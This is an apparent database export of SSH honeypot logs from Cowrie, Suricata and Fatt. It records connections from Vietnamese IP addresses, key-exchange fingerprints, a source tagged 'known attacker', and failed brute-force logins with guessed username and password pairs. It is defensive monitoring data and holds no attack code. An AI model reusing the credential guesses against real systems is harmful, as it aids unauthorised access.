23827	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:46.107815+03	2021-09-20 14:15:08.00647+03	{"_id": "2AbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bc8abe3e5bc5", "@version": "1", "timestamp": "2021-09-20T11:07:46.107815Z", "@timestamp": "2021-09-20T11:07:46.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23828	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:46.107076+03	2021-09-20 14:15:08.00847+03	{"_id": "2gbjAnwBvYTbRNuE9w78", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 2050197999796903, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34906, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.107076Z", "@timestamp": "2021-09-20T11:07:46.107Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23829	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:46.32127+03	2021-09-20 14:15:08.010471+03	{"_id": "3AbjAnwBvYTbRNuE9w78", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1441044935846121, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52124, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.321270Z", "@timestamp": "2021-09-20T11:07:46.321Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23830	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:47.369565+03	2021-09-20 14:15:08.011471+03	{"_id": "EgbjAnwBvYTbRNuE_A_J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55386, "timestamp": "2021-09-20T11:07:47.369565", "@timestamp": "2021-09-20T11:07:47.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23831	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:47.93008+03	2021-09-20 14:15:08.01247+03	{"_id": "EAbjAnwBvYTbRNuE_A_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36986, "timestamp": "2021-09-20T11:07:47.930080", "@timestamp": "2021-09-20T11:07:47.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23832	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:47.989192+03	2021-09-20 14:15:08.01347+03	{"_id": "UAbjAnwBvYTbRNuE_w_O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 342924877604935, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57006, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.989192Z", "@timestamp": "2021-09-20T11:07:47.989Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23833	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:48.813699+03	2021-09-20 14:15:08.01447+03	{"_id": "UQbjAnwBvYTbRNuE_w_O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1231933715818586, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45338, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.813699Z", "@timestamp": "2021-09-20T11:07:48.813Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23834	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:48.607512+03	2021-09-20 14:15:08.01547+03	{"_id": "ZgbkAnwBvYTbRNuEAQ9S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:43880 (192.168.176.2:22) [session: 8374cd710309]", "session": "8374cd710309", "@version": "1", "protocol": "ssh", "src_port": 43880, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.607512Z", "@timestamp": "2021-09-20T11:07:48.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23835	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.661252+03	2021-09-20 14:15:08.01747+03	{"_id": "YgbkAnwBvYTbRNuEAQ9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [test/12345678] failed", "session": "a55e182cb990", "@version": "1", "password": "12345678", "username": "test", "timestamp": "2021-09-20T11:07:48.661252Z", "@timestamp": "2021-09-20T11:07:48.661Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23836	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.693752+03	2021-09-20 14:15:08.01847+03	{"_id": "bAbkAnwBvYTbRNuEAQ9S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "551fb0376fed", "@version": "1", "timestamp": "2021-09-20T11:07:48.693752Z", "@timestamp": "2021-09-20T11:07:48.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23837	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.892639+03	2021-09-20 14:15:08.01947+03	{"_id": "bQbkAnwBvYTbRNuEAQ9S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "103bdacf082c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:48.892639Z", "@timestamp": "2021-09-20T11:07:48.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23838	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:48.901796+03	2021-09-20 14:15:08.02147+03	{"_id": "bgbkAnwBvYTbRNuEAQ9S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8374cd710309", "@version": "1", "timestamp": "2021-09-20T11:07:48.901796Z", "@timestamp": "2021-09-20T11:07:48.901Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23839	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:49.129983+03	2021-09-20 14:15:08.022472+03	{"_id": "cAbkAnwBvYTbRNuEAQ9S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [drukarnia/tz] failed", "session": "7bef025ad5d8", "@version": "1", "password": "tz", "username": "drukarnia", "timestamp": "2021-09-20T11:07:49.129983Z", "@timestamp": "2021-09-20T11:07:49.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
